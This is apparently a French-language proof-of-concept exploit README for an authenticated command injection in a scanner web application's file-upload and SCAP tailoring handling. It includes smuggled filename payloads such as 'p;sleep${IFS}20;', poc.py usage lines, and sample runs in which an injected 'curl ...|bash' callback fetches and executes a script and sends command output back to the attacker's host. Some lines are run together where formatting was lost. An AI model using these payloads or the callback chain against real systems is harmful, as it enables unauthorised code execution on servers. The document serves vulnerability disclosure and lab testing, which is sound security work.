
Exploit de preuve de concept pour une injection de commande authentifiée dans le traitement de téléversement de fichiers, démontrant une chaîne en deux étapes via l'API REST avec exécution de commande par timing aveugle et par callback.

Statut : CONFIRMÉ sur un lab 6.7.2-14.el9 (2026-08-20). Nom de fichier temporaire
p;sleep${IFS}20;-EvvfJk via POST /rest/file/upload (le préfixe de contexte porte
les métacaractères), puis POST /rest/auditFile (type=scapLinux, version=1.2) a mis
exactement 20,1 s avant de renvoyer l'erreur 106 (« Error adding Tailoring file to SCAP
zip file ») — le chemin d'erreur normal post-injection. L'exécution se produit dans la
commande shell zip -9Tj sous l'identité de l'utilisateur du service web. (Corrigé en
6.9.0 selon le diff RPM ; la vulnérabilité est présente au moins en 6.7.2–6.8.x.)
Chaîne en deux étapes, toutes deux sous le contrôle de l'attaquant :
Contrôle du nom de fichier — stocke les téléversements via (), qui construit le nom sur disque à partir du paramètre brut du client : . Les contextes inconnus échappent à toute validation de contenu (la NOTICE de qualifie cela d'« wide open since SC 4.x ») mais sont tout de même stockés — les métacaractères shell (, , backticks) persistent donc dans le nom de fichier temporaire.
POST /rest/fileFilesystem::saveTmp()FilesystemLib.php:587contexttempnam($tmpDir, "$userID.$token." . $context . "-")Files.php;$()Point d'injection — POST /rest/auditFile avec type∈SCAP, version=1.2
entre dans la branche de personnalisation (AuditFiles.php:163) :
$scapZipFile = $tmpDir . $params['filename'] (entièrement contrôlé par le client)
→ AuditFileLib::addSCAPTailoringFile() ligne 2304 :
$tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename()
supprime / mais pas les métacaractères shell — puis non échappé dans
exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").
Un second point d'injection de même classe : Files.php:360
exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") dans extractFile().
escapeshellarg($tmpZipFile) dans les deux commandes zip ; Utility::execSafe()
(proc_open sous forme argv + séparateur --) remplace l'exec de chaîne unzip ;
validation du nom de fichier ajoutée dans AuditFiles::applySCAPTailoringFile()
(c'est CVE-2026-19679).
# blind timing check (sleep in the context prefix; no '/' needed)
./poc.py --target https://sc.lab --username analyst --password 'pass' --check
# run a command with output capture: the PoC serves the script over HTTP, injects a
# short curl|bash callback, and prints the POSTed-back output. Target must be able to
# reach this machine (same L2 in the lab).
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
# verbatim injection (no callback) — payload must fit ~47 chars
./poc.py --target https://sc.lab --username analyst --password 'pass' \
--cmd 'touch${IFS}/tmp/pwned' --no-exfil
Notes :
/rest/file/upload (champ multipart Filedata,
champ de formulaire context) — découverte sur le lab ; d'autres versions peuvent
différer, des candidats ont été testés.tempnam() tronque le préfixe du nom temporaire —
seulement ~50-55 caractères de context survivent (mesuré sur le lab ; la variante
hex-bootstrap a été tronquée en plein payload). Les injections courtes comme
p;sleep${IFS}20; tiennent ; tout ce qui est plus long passe par le serveur de
callback.type=scapLinux|scapWindows, version=1.2,
benchmarkName, dataStreamName (selon AuditFiles::validateAdd) ;
PARAM_FILENAME ne rejette que / et les fichiers inexistants, donc ;/${IFS}
passent.Éléments à vérifier en lab (signalés dans la sortie du script s'ils échouent) :
SCAPTailoringFileParser (>=1 profil) ; remplacez-le par un vrai datastream de
personnalisation SCAP s'il est rejeté.type doit correspondre à un membre de AuditFileLib::$validSCAPTypes
(scap attendu).auditFile proviennent de AuditFiles::validateAdd() ;
ajustez si le POST renvoie une erreur de paramètre.../cve-2026-19679/ — la moitié validation d'entrée de la même chaîne
(assainissement du nom de fichier), avec une analyse différentielle de détection de
version.$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
[+] authenticated, token 20425636...
[*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-15xUAv'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
tns
$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
[+] authenticated, token 20958963...
[*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-DQzq4v'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
/opt/sc/www